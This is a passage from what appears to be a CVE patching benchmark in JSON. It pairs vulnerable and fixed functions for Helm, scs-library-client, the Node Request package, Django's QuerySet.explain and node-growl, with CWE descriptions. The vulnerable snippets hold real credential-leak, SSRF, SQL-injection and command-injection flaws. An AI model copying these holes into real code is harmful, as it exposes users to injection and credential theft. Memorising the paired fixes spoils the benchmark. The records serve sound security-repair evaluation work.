client.Namespace\n\t\t\t\t\tinstClient.Atomic = client.Atomic\n\t\t\t\t\tinstClient.PostRenderer = client.PostRenderer\n\t\t\t\t\tinstClient.DisableOpenAPIValidation = client.DisableOpenAPIValidation\n\t\t\t\t\tinstClient.SubNotes = client.SubNotes\n\t\t\t\t\tinstClient.Description = client.Description\n\t\t\t\t\tinstClient.DependencyUpdate = client.DependencyUpdate\n\t\t\t\t\tinstClient.EnableDNS = client.EnableDNS\n\n\t\t\t\t\trel, err := runInstall(args, instClient, valueOpts, out)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\treturn outfmt.Write(out, &statusPrinter{rel, settings.Debug, false, false})\n\t\t\t\t} else if err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif client.Version == \"\" && client.Devel {\n\t\t\t\tdebug(\"setting version to >0.0.0-0\")\n\t\t\t\tclient.Version = \">0.0.0-0\"\n\t\t\t}\n\n\t\t\tchartPath, err := client.ChartPathOptions.LocateChart(args[1], settings)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tp := getter.All(settings)\n\t\t\tvals, err := valueOpts.MergeValues(p)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Check chart dependencies to make sure all are present in /charts\n\t\t\tch, err := loader.Load(chartPath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif req := ch.Metadata.Dependencies; req != nil {\n\t\t\t\tif err := action.CheckDependencies(ch, req); err != nil {\n\t\t\t\t\terr = errors.Wrap(err, \"An error occurred while checking for chart dependencies. You may need to run `helm dependency build` to fetch missing dependencies\")\n\t\t\t\t\tif client.DependencyUpdate {\n\t\t\t\t\t\tman := &downloader.Manager{\n\t\t\t\t\t\t\tOut: out,\n\t\t\t\t\t\t\tChartPath: chartPath,\n\t\t\t\t\t\t\tKeyring: client.ChartPathOptions.Keyring,\n\t\t\t\t\t\t\tSkipUpdate: false,\n\t\t\t\t\t\t\tGetters: p,\n\t\t\t\t\t\t\tRepositoryConfig: settings.RepositoryConfig,\n\t\t\t\t\t\t\tRepositoryCache: settings.RepositoryCache,\n\t\t\t\t\t\t\tDebug: settings.Debug,\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif err := man.Update(); err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Reload the chart with the updated Chart.lock file.\n\t\t\t\t\t\tif ch, err = loader.Load(chartPath); err != nil {\n\t\t\t\t\t\t\treturn errors.Wrap(err, \"failed reloading chart after repo update\")\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ch.Metadata.Deprecated {\n\t\t\t\twarning(\"This chart is deprecated\")\n\t\t\t}\n\n\t\t\t// Create context and prepare the handle of SIGTERM\n\t\t\tctx := context.Background()\n\t\t\tctx, cancel := context.WithCancel(ctx)\n\n\t\t\t// Set up channel on which to send signal notifications.\n\t\t\t// We must use a buffered channel or risk missing the signal\n\t\t\t// if we're not ready to receive when the signal is sent.\n\t\t\tcSignal := make(chan os.Signal, 2)\n\t\t\tsignal.Notify(cSignal, os.Interrupt, syscall.SIGTERM)\n\t\t\tgo func() {\n\t\t\t\t<-cSignal\n\t\t\t\tfmt.Fprintf(out, \"Release %s has been cancelled.\\n\", args[0])\n\t\t\t\tcancel()\n\t\t\t}()\n\n\t\t\trel, err := client.RunWithContext(ctx, args[0], ch, vals)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"UPGRADE FAILED\")\n\t\t\t}\n\n\t\t\tif outfmt == output.Table {\n\t\t\t\tfmt.Fprintf(out, \"Release %q has been upgraded. Happy Helming!\\n\", args[0])\n\t\t\t}\n\n\t\t\treturn outfmt.Write(out, &statusPrinter{rel, settings.Debug, false, false})\n\t\t},\n\t}\n\n\tf := cmd.Flags()\n\tf.BoolVar(&createNamespace, \"create-namespace\", false, \"if --install is set, create the release namespace if not present\")\n\tf.BoolVarP(&client.Install, \"install\", \"i\", false, \"if a release by this name doesn't already exist, run an install\")\n\tf.BoolVar(&client.Devel, \"devel\", false, \"use development versions, too. Equivalent to version '>0.0.0-0'. If --version is set, this is ignored\")\n\tf.BoolVar(&client.DryRun, \"dry-run\", false, \"simulate an upgrade\")\n\tf.BoolVar(&client.Recreate, \"recreate-pods\", false, \"performs pods restart for the resource if applicable\")\n\tf.MarkDeprecated(\"recreate-pods\", \"functionality will no longer be updated. Consult the documentation for other methods to recreate pods\")\n\tf.BoolVar(&client.Force, \"force\", false, \"force resource updates through a replacement strategy\")\n\tf.BoolVar(&client.DisableHooks, \"no-hooks\", false, \"disable pre/post upgrade hooks\")\n\tf.BoolVar(&client.DisableOpenAPIValidation, \"disable-openapi-validation\", false, \"if set, the upgrade process will not validate rendered templates against the Kubernetes OpenAPI Schema\")\n\tf.BoolVar(&client.SkipCRDs, \"skip-crds\", false, \"if set, no CRDs will be installed when an upgrade is performed with install flag enabled. By default, CRDs are installed if not already present, when an upgrade is performed with install flag enabled\")\n\tf.DurationVar(&client.Timeout, \"timeout\", 300*time.Second, \"time to wait for any individual Kubernetes operation (like Jobs for hooks)\")\n\tf.BoolVar(&client.ResetValues, \"reset-values\", false, \"when upgrading, reset the values to the ones built into the chart\")\n\tf.BoolVar(&client.ReuseValues, \"reuse-values\", false, \"when upgrading, reuse the last release's values and merge in any overrides from the command line via --set and -f. If '--reset-values' is specified, this is ignored\")\n\tf.BoolVar(&client.Wait, \"wait\", false, \"if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment, StatefulSet, or ReplicaSet are in a ready state before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVar(&client.WaitForJobs, \"wait-for-jobs\", false, \"if set and --wait enabled, will wait until all Jobs have been completed before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVar(&client.Atomic, \"atomic\", false, \"if set, upgrade process rolls back changes made in case of failed upgrade. The --wait flag will be set automatically if --atomic is used\")\n\tf.IntVar(&client.MaxHistory, \"history-max\", settings.MaxHistory, \"limit the maximum number of revisions saved per release. Use 0 for no limit\")\n\tf.BoolVar(&client.CleanupOnFail, \"cleanup-on-fail\", false, \"allow deletion of new resources created in this upgrade when upgrade fails\")\n\tf.BoolVar(&client.SubNotes, \"render-subchart-notes\", false, \"if set, render subchart notes along with the parent\")\n\tf.StringVar(&client.Description, \"description\", \"\", \"add a custom description\")\n\tf.BoolVar(&client.DependencyUpdate, \"dependency-update\", false, \"update dependencies if they are missing before installing the chart\")\n\tf.BoolVar(&client.EnableDNS, \"enable-dns\", false, \"enable DNS lookups when rendering templates\")\n\taddChartPathOptionsFlags(f, &client.ChartPathOptions)\n\taddValueOptionsFlags(f, valueOpts)\n\tbindOutputFlag(cmd, &outfmt)\n\tbindPostRenderFlag(cmd, &client.PostRenderer)\n\n\terr := cmd.RegisterFlagCompletionFunc(\"version\", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\tif len(args) != 2 {\n\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n\t\t}\n\t\treturn compVersionFlag(args[1], toComplete)\n\t})\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn cmd\n}" }, { "id": "fix_go_49_9", "commit": "5abcf74227bfe8e5a3dbf105fe62e7b12deb58d2", "file_path": "cmd/helm/install.go", "start_line": 155, "end_line": 191, "snippet": "func addInstallFlags(cmd *cobra.Command, f *pflag.FlagSet, client *action.Install, valueOpts *values.Options) {\n\tf.BoolVar(&client.CreateNamespace, \"create-namespace\", false, \"create the release namespace if not present\")\n\tf.BoolVar(&client.DryRun, \"dry-run\", false, \"simulate an install\")\n\tf.BoolVar(&client.Force, \"force\", false, \"force resource updates through a replacement strategy\")\n\tf.BoolVar(&client.DisableHooks, \"no-hooks\", false, \"prevent hooks from running during install\")\n\tf.BoolVar(&client.Replace, \"replace\", false, \"re-use the given name, only if that name is a deleted release which remains in the history. This is unsafe in production\")\n\tf.DurationVar(&client.Timeout, \"timeout\", 300*time.Second, \"time to wait for any individual Kubernetes operation (like Jobs for hooks)\")\n\tf.BoolVar(&client.Wait, \"wait\", false, \"if set, will wait until all Pods, PVCs, Services, and minimum number of Pods of a Deployment, StatefulSet, or ReplicaSet are in a ready state before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVar(&client.WaitForJobs, \"wait-for-jobs\", false, \"if set and --wait enabled, will wait until all Jobs have been completed before marking the release as successful. It will wait for as long as --timeout\")\n\tf.BoolVarP(&client.GenerateName, \"generate-name\", \"g\", false, \"generate the name (and omit the NAME parameter)\")\n\tf.StringVar(&client.NameTemplate, \"name-template\", \"\", \"specify template used to name the release\")\n\tf.StringVar(&client.Description, \"description\", \"\", \"add a custom description\")\n\tf.BoolVar(&client.Devel, \"devel\", false, \"use development versions, too. Equivalent to version '>0.0.0-0'. If --version is set, this is ignored\")\n\tf.BoolVar(&client.DependencyUpdate, \"dependency-update\", false, \"update dependencies if they are missing before installing the chart\")\n\tf.BoolVar(&client.DisableOpenAPIValidation, \"disable-openapi-validation\", false, \"if set, the installation process will not validate rendered templates against the Kubernetes OpenAPI Schema\")\n\tf.BoolVar(&client.Atomic, \"atomic\", false, \"if set, the installation process deletes the installation on failure. The --wait flag will be set automatically if --atomic is used\")\n\tf.BoolVar(&client.SkipCRDs, \"skip-crds\", false, \"if set, no CRDs will be installed. By default, CRDs are installed if not already present\")\n\tf.BoolVar(&client.SubNotes, \"render-subchart-notes\", false, \"if set, render subchart notes along with the parent\")\n\tf.BoolVar(&client.EnableDNS, \"enable-dns\", false, \"enable DNS lookups when rendering templates\")\n\taddValueOptionsFlags(f, valueOpts)\n\taddChartPathOptionsFlags(f, &client.ChartPathOptions)\n\n\terr := cmd.RegisterFlagCompletionFunc(\"version\", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {\n\t\trequiredArgs := 2\n\t\tif client.GenerateName {\n\t\t\trequiredArgs = 1\n\t\t}\n\t\tif len(args) != requiredArgs {\n\t\t\treturn nil, cobra.ShellCompDirectiveNoFileComp\n\t\t}\n\t\treturn compVersionFlag(args[requiredArgs-1], toComplete)\n\t})\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-25165" }, { "cve_id": "CVE-2022-23538", "cve_description": "github.com/sylabs/scs-library-client is the Go client for the Singularity Container Services (SCS) Container Library Service. When the scs-library-client is used to pull a container image, with authentication, the HTTP Authorization header sent by the client to the library service may be incorrectly leaked to an S3 backing storage provider. This occurs in a specific flow, where the library service redirects the client to a backing S3 storage server, to perform a multi-part concurrent download. Depending on site configuration, the S3 service may be provided by a third party. An attacker with access to the S3 service may be able to extract user credentials, allowing them to impersonate the user. The vulnerable multi-part concurrent download flow, with redirect to S3, is only used when communicating with a Singularity Enterprise 1.x installation, or third party server implementing this flow. Interaction with Singularity Enterprise 2.x, and Singularity Container Services (cloud.sylabs.io), does not trigger the vulnerable flow. We encourage all users to update. Users who interact with a Singularity Enterprise 1.x installation, using a 3rd party S3 storage service, are advised to revoke and recreate their authentication tokens within Singularity Enterprise. There is no workaround available at this time.", "cwe_info": { "CWE-522": { "name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval." } }, "repo": "https://github.com/sylabs/scs-library-client", "patch_url": [ "https://github.com/sylabs/scs-library-client/commit/68ac4cab5cda0afd8758ff5b5e2e57be6a22fcfa" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_71_1", "commit": "54fbe14", "file_path": "client/pull.go", "start_line": 106, "end_line": 115, "snippet": "func (c *Client) httpGetRangeRequest(ctx context.Context, url string, start, end int64) (*http.Response, error) {\n\treq, err := c.newRequestWithURL(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq.Header.Add(\"Range\", fmt.Sprintf(\"bytes=%d-%d\", start, end))\n\n\treturn c.HTTPClient.Do(req)\n}", "vul_localization": [ { "patch_lines": [ 2 ], "tag": "modify" }, { "patch_lines": [ 6 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_go_71_1", "commit": "68ac4cab5cda0afd8758ff5b5e2e57be6a22fcfa", "file_path": "client/pull.go", "start_line": 106, "end_line": 119, "snippet": "func (c *Client) httpGetRangeRequest(ctx context.Context, url string, start, end int64) (*http.Response, error) {\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif v := c.UserAgent; v != \"\" {\n\t\treq.Header.Set(\"User-Agent\", v)\n\t}\n\n\treq.Header.Add(\"Range\", fmt.Sprintf(\"bytes=%d-%d\", start, end))\n\n\treturn c.HTTPClient.Do(req)\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-23538" }, { "cve_id": "CVE-2023-28155", "cve_description": "The Request package through 2.88.1 for Node.js allows a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP). NOTE: This vulnerability only affects products that are no longer supported by the maintainer.", "cwe_info": { "CWE-918": { "name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination." } }, "repo": "https://github.com/cypress-io/request", "patch_url": [ "https://github.com/cypress-io/request/commit/c5bcf21d40fb61feaff21a0e5a2b3934a440024f" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_32_1", "commit": "0664780", "file_path": "lib/redirect.js", "start_line": 86, "end_line": 155, "snippet": " function processRedirect (shouldRedirect) {\n if (!shouldRedirect) return callback(null, false)\n if (typeof shouldRedirect === 'string') {\n // overridden redirect url\n request.debug('redirect overridden', redirectTo)\n redirectTo = shouldRedirect\n }\n\n request.debug('redirect to', redirectTo)\n\n // ignore any potential response body. it cannot possibly be useful\n // to us at this point.\n // response.resume should be defined, but check anyway before calling. Workaround for browserify.\n if (response.resume) {\n response.resume()\n }\n\n if (self.redirectsFollowed >= self.maxRedirects) {\n return callback(new Error('Exceeded maxRedirects. Probably stuck in a redirect loop ' + request.uri.href))\n }\n self.redirectsFollowed += 1\n\n if (!isUrl.test(redirectTo)) {\n redirectTo = url.resolve(request.uri.href, redirectTo)\n }\n\n var uriPrev = request.uri\n request.uri = url.parse(redirectTo)\n\n // handle the case where we change protocol from https to http or vice versa\n if (request.uri.protocol !== uriPrev.protocol) {\n delete request.agent\n }\n\n self.redirects.push({ statusCode: response.statusCode, redirectUri: redirectTo })\n\n if (self.followAllRedirects && request.method !== 'HEAD' &&\n response.statusCode !== 401 && response.statusCode !== 307) {\n request.method = self.followOriginalHttpMethod ? request.method : 'GET'\n }\n // request.method = 'GET' // Force all redirects to use GET || commented out fixes #215\n delete request.src\n delete request.req\n delete request._started\n if (response.statusCode !== 401 && response.statusCode !== 307) {\n // Remove parameters from the previous response, unless this is the second request\n // for a server that requires digest authentication.\n delete request.body\n delete request._form\n if (request.headers) {\n request.removeHeader('host')\n request.removeHeader('content-type')\n request.removeHeader('content-length')\n if (request.uri.hostname !== request.originalHost.split(':')[0]) {\n // Remove authorization if changing hostnames (but not if just\n // changing ports or protocols). This matches the behavior of curl:\n // https://github.com/bagder/curl/blob/6beb0eee/lib/http.c#L710\n request.removeHeader('authorization')\n }\n }\n }\n\n if (!self.removeRefererHeader) {\n request.setHeader('referer', uriPrev.href)\n }\n\n request.emit('redirect')\n request.init()\n callback(null, true)\n }", "vul_localization": [ { "patch_lines": [ 31 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_32_1", "commit": "c5bcf21", "file_path": "lib/redirect.js", "start_line": 90, "end_line": 159, "snippet": " function processRedirect (shouldRedirect) {\n if (!shouldRedirect) return callback(null, false)\n if (typeof shouldRedirect === 'string') {\n // overridden redirect url\n request.debug('redirect overridden', redirectTo)\n redirectTo = shouldRedirect\n }\n\n request.debug('redirect to', redirectTo)\n\n // ignore any potential response body. it cannot possibly be useful\n // to us at this point.\n // response.resume should be defined, but check anyway before calling. Workaround for browserify.\n if (response.resume) {\n response.resume()\n }\n\n if (self.redirectsFollowed >= self.maxRedirects) {\n return callback(new Error('Exceeded maxRedirects. Probably stuck in a redirect loop ' + request.uri.href))\n }\n self.redirectsFollowed += 1\n\n if (!isUrl.test(redirectTo)) {\n redirectTo = url.resolve(request.uri.href, redirectTo)\n }\n\n var uriPrev = request.uri\n request.uri = url.parse(redirectTo)\n\n // handle the case where we change protocol from https to http or vice versa\n if (request.uri.protocol !== uriPrev.protocol && self.allowInsecureRedirect) {\n delete request.agent\n }\n\n self.redirects.push({ statusCode: response.statusCode, redirectUri: redirectTo })\n\n if (self.followAllRedirects && request.method !== 'HEAD' &&\n response.statusCode !== 401 && response.statusCode !== 307) {\n request.method = self.followOriginalHttpMethod ? request.method : 'GET'\n }\n // request.method = 'GET' // Force all redirects to use GET || commented out fixes #215\n delete request.src\n delete request.req\n delete request._started\n if (response.statusCode !== 401 && response.statusCode !== 307) {\n // Remove parameters from the previous response, unless this is the second request\n // for a server that requires digest authentication.\n delete request.body\n delete request._form\n if (request.headers) {\n request.removeHeader('host')\n request.removeHeader('content-type')\n request.removeHeader('content-length')\n if (request.uri.hostname !== request.originalHost.split(':')[0]) {\n // Remove authorization if changing hostnames (but not if just\n // changing ports or protocols). This matches the behavior of curl:\n // https://github.com/bagder/curl/blob/6beb0eee/lib/http.c#L710\n request.removeHeader('authorization')\n }\n }\n }\n\n if (!self.removeRefererHeader) {\n request.setHeader('referer', uriPrev.href)\n }\n\n request.emit('redirect')\n request.init()\n callback(null, true)\n }" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-28155" }, { "cve_id": "CVE-2022-28347", "cve_description": "A SQL injection issue was discovered in QuerySet.explain() in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the **options argument, and placing the injection payload in an option name.", "cwe_info": { "CWE-89": { "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data." } }, "repo": "https://github.com/django/django", "patch_url": [ "https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402", "https://github.com/django/django/commit/29a6c98b4c13af82064f993f0acc6e8fafa4d3f5", "https://github.com/django/django/commit/6723a26e59b0b5429a0c5873941e01a2e1bdbb81", "https://github.com/django/django/commit/9e19accb6e0a00ba77d5a95a91675bf18877c72d" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_7_1", "commit": "8008288", "file_path": "django/db/backends/postgresql/operations.py", "start_line": 290, "end_line": 304, "snippet": " def explain_query_prefix(self, format=None, **options):\n prefix = super().explain_query_prefix(format)\n extra = {}\n if format:\n extra[\"FORMAT\"] = format\n if options:\n extra.update(\n {\n name.upper(): \"true\" if value else \"false\"\n for name, value in options.items()\n }\n )\n if extra:\n prefix += \" (%s)\" % \", \".join(\"%s %s\" % i for i in extra.items())\n return prefix", "vul_localization": [ { "patch_lines": [ 2, 6, 7, 8, 9, 10, 11, 12 ], "tag": "modify" } ] }, { "id": "vul_py_7_2", "commit": "8008288", "file_path": "django/db/models/sql/query.py", "start_line": 587, "end_line": 591, "snippet": " def explain(self, using, format=None, **options):\n q = self.clone()\n q.explain_info = ExplainInfo(format, options)\n compiler = q.get_compiler(using=using)\n return \"\\n\".join(compiler.explain_query())", "vul_localization": [ { "patch_lines": [ 2 ], "tag": "add" } ] } ], "fix_func": [ { "id": "fix_py_7_1", "commit": "00b0fc5", "file_path": "django/db/backends/postgresql/operations.py", "start_line": 302, "end_line": 319, "snippet": " def explain_query_prefix(self, format=None, **options):\n extra = {}\n # Normalize options.\n if options:\n options = {\n name.upper(): \"true\" if value else \"false\"\n for name, value in options.items()\n }\n for valid_option in self.explain_options:\n value = options.pop(valid_option, None)\n if value is not None:\n extra[valid_option.upper()] = value\n prefix = super().explain_query_prefix(format, **options)\n if format:\n extra[\"FORMAT\"] = format\n if extra:\n prefix += \" (%s)\" % \", \".join(\"%s %s\" % i for i in extra.items())\n return prefix" }, { "id": "fix_py_7_2", "commit": "00b0fc5", "file_path": "django/db/models/sql/query.py", "start_line": 591, "end_line": 601, "snippet": " def explain(self, using, format=None, **options):\n q = self.clone()\n for option_name in options:\n if (\n not EXPLAIN_OPTIONS_PATTERN.fullmatch(option_name)\n or \"--\" in option_name\n ):\n raise ValueError(f\"Invalid option name: {option_name!r}.\")\n q.explain_info = ExplainInfo(format, options)\n compiler = q.get_compiler(using=using)\n return \"\\n\".join(compiler.explain_query())" }, { "id": "fix_py_7_3", "commit": "00b0fc5", "file_path": "django/db/models/sql/query.py", "start_line": 52, "end_line": 55, "snippet": "# Inspired from\n# https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS\nEXPLAIN_OPTIONS_PATTERN = _lazy_re_compile(r\"[\\w\\-]+\")\n" }, { "id": "fix_py_7_4", "commit": "00b0fc5", "file_path": "django/db/backends/postgresql/operations.py", "start_line": 11, "end_line": 22, "snippet": " explain_options = frozenset(\n [\n \"ANALYZE\",\n \"BUFFERS\",\n \"COSTS\",\n \"SETTINGS\",\n \"SUMMARY\",\n \"TIMING\",\n \"VERBOSE\",\n \"WAL\",\n ]\n )" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-28347" }, { "cve_id": "CVE-2017-16042", "cve_description": "Growl adds growl notification support to nodejs. Growl before 1.10.2 does not properly sanitize input before passing it to exec, allowing for arbitrary command execution.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." }, "CWE-77": { "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." }, "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/tj/node-growl", "patch_url": [ "https://github.com/tj/node-growl/commit/d71177d5331c9de4658aca62e0ac921f178b0669" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_44_2", "commit": "dc8aae0", "file_path": "lib/growl.js", "start_line": 164, "end_line": 290, "snippet": "function growl(msg, options, fn) {\n var image\n , args\n , options = options || {}\n , fn = fn || function(){};\n\n if (options.exec) {\n cmd = {\n type: \"Custom\"\n , pkg: options.exec\n , range: []\n };\n }\n\n // noop\n if (!cmd) return fn(new Error('growl not supported on this platform'));\n args = [cmd.pkg];\n\n // image\n if (image = options.image) {\n switch(cmd.type) {\n case 'Darwin-Growl':\n var flag, ext = path.extname(image).substr(1)\n flag = flag || ext == 'icns' && 'iconpath'\n flag = flag || /^[A-Z]/.test(image) && 'appIcon'\n flag = flag || /^png|gif|jpe?g$/.test(ext) && 'image'\n flag = flag || ext && (image = ext) && 'icon'\n flag = flag || 'icon'\n args.push('--' + flag, quote(image))\n break;\n case 'Darwin-NotificationCenter':\n args.push(cmd.icon, quote(image));\n break;\n case 'Linux':\n args.push(cmd.icon, quote(image));\n // libnotify defaults to sticky, set a hint for transient notifications\n if (!options.sticky) args.push('--hint=int:transient:1');\n break;\n case 'Windows':\n args.push(cmd.icon + quote(image));\n break;\n }\n }\n\n // sticky\n if (options.sticky) args.push(cmd.sticky);\n\n // priority\n if (options.priority) {\n var priority = options.priority + '';\n var checkindexOf = cmd.priority.range.indexOf(priority);\n if (~cmd.priority.range.indexOf(priority)) {\n args.push(cmd.priority, options.priority);\n }\n }\n\n //sound\n if(options.sound && cmd.type === 'Darwin-NotificationCenter'){\n args.push(cmd.sound, options.sound)\n }\n\n // name\n if (options.name && cmd.type === \"Darwin-Growl\") {\n args.push('--name', options.name);\n }\n\n switch(cmd.type) {\n case 'Darwin-Growl':\n args.push(cmd.msg);\n args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n if (options.title) args.push(quote(options.title));\n break;\n case 'Darwin-NotificationCenter':\n args.push(cmd.msg);\n var stringifiedMsg = quote(msg);\n var escapedMsg = stringifiedMsg.replace(/\\\\n/g, '\\n');\n args.push(escapedMsg);\n if (options.title) {\n args.push(cmd.title);\n args.push(quote(options.title));\n }\n if (options.subtitle) {\n args.push(cmd.subtitle);\n args.push(quote(options.subtitle));\n }\n if (options.url) {\n args.push(cmd.url);\n args.push(quote(options.url));\n }\n break;\n case 'Linux-Growl':\n args.push(cmd.msg);\n args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n if (options.title) args.push(quote(options.title));\n if (cmd.host) {\n args.push(cmd.host.cmd, cmd.host.hostname)\n }\n break;\n case 'Linux':\n if (options.title) {\n args.push(quote(options.title));\n args.push(cmd.msg);\n args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n } else {\n args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n }\n break;\n case 'Windows':\n args.push(quote(msg).replace(/\\\\n/g, '\\n'));\n if (options.title) args.push(cmd.title + quote(options.title));\n if (options.url) args.push(cmd.url + quote(options.url));\n break;\n case 'Custom':\n args[0] = (function(origCommand) {\n var message = options.title\n ? options.title + ': ' + msg\n : msg;\n var command = origCommand.replace(/(^|[^%])%s/g, '$1' + quote(message));\n if (command === origCommand) args.push(quote(message));\n return command;\n })(args[0]);\n break;\n }\n\n // execute\n exec(args.join(' '), fn);\n};", "vul_localization": [ { "patch_lines": [ 29, 32, 35, 40 ], "tag": "modify" }, { "patch_lines": [ 70, 71, 75 ], "tag": "modify" }, { "patch_lines": [ 80, 84, 88 ], "tag": "modify" }, { "patch_lines": [ 93, 94 ], "tag": "modify" }, { "patch_lines": [ 101, 103, 105, 109, 110, 111, 118, 119 ], "tag": "modify" }, { "patch_lines": [ 126 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_44_2", "commit": "d71177d5331c9de4658aca62e0ac921f178b0669", "file_path": "lib/growl.js", "start_line": 163, "end_line": 289, "snippet": "function growl(msg, options, fn) {\n var image\n , args\n , options = options || {}\n , fn = fn || function(){};\n\n if (options.exec) {\n cmd = {\n type: \"Custom\"\n , pkg: options.exec\n , range: []\n };\n }\n\n // noop\n if (!cmd) return fn(new Error('growl not supported on this platform'));\n args = [cmd.pkg];\n\n // image\n if (image = options.image) {\n switch(cmd.type) {\n case 'Darwin-Growl':\n var flag, ext = path.extname(image).substr(1)\n flag = flag || ext == 'icns' && 'iconpath'\n flag = flag || /^[A-Z]/.test(image) && 'appIcon'\n flag = flag || /^png|gif|jpe?g$/.test(ext) && 'image'\n flag = flag || ext && (image = ext) && 'icon'\n flag = flag || 'icon'\n args.push('--' + flag, image)\n break;\n case 'Darwin-NotificationCenter':\n args.push(cmd.icon, image);\n break;\n case 'Linux':\n args.push(cmd.icon, image);\n // libnotify defaults to sticky, set a hint for transient notifications\n if (!options.sticky) args.push('--hint=int:transient:1');\n break;\n case 'Windows':\n args.push(cmd.icon + image);\n break;\n }\n }\n\n // sticky\n if (options.sticky) args.push(cmd.sticky);\n\n // priority\n if (options.priority) {\n var priority = options.priority + '';\n var checkindexOf = cmd.priority.range.indexOf(priority);\n if (~cmd.priority.range.indexOf(priority)) {\n args.push(cmd.priority, options.priority);\n }\n }\n\n //sound\n if(options.sound && cmd.type === 'Darwin-NotificationCenter'){\n args.push(cmd.sound, options.sound)\n }\n\n // name\n if (options.name && cmd.type === \"Darwin-Growl\") {\n args.push('--name', options.name);\n }\n\n switch(cmd.type) {\n case 'Darwin-Growl':\n args.push(cmd.msg);\n args.push(msg.replace(/\\\\n/g, '\\n'));\n if (options.title) args.push(options.title);\n break;\n case 'Darwin-NotificationCenter':\n args.push(cmd.msg);\n var stringifiedMsg = msg;\n var escapedMsg = stringifiedMsg.replace(/\\\\n/g, '\\n');\n args.push(escapedMsg);\n if (options.title) {\n args.push(cmd.title);\n args.push(options.title);\n }\n if (options.subtitle) {\n args.push(cmd.subtitle);\n args.push(options.subtitle);\n }\n if (options.url) {\n args.push(cmd.url);\n args.push(options.url);\n }\n break;\n case 'Linux-Growl':\n args.push(cmd.msg);\n args.push(msg.replace(/\\\\n/g, '\\n'));\n if (options.title) args.push(options.title);\n if (cmd.host) {\n args.push(cmd.host.cmd, cmd.host.hostname)\n }\n break;\n case 'Linux':\n if (options.title) {\n args.push(options.title);\n args.push(cmd.msg);\n args.push(msg.replace(/\\\\n/g, '\\n'));\n } else {\n args.push(msg.replace(/\\\\n/g, '\\n'));\n }\n break;\n case 'Windows':\n args.push(msg.replace(/\\\\n/g, '\\n'));\n if (options.title) args.push(cmd.title + options.title);\n if (options.url) args.push(cmd.url + options.url);\n break;\n case 'Custom':\n args[0] = (function(origCommand) {\n var message = options.title\n ? options.title + ': ' + msg\n : msg;\n var command = origCommand.replace(/(^|[^%])%s/g, '$1' + message);\n if (command === origCommand) args.push(message);\n return command;\n 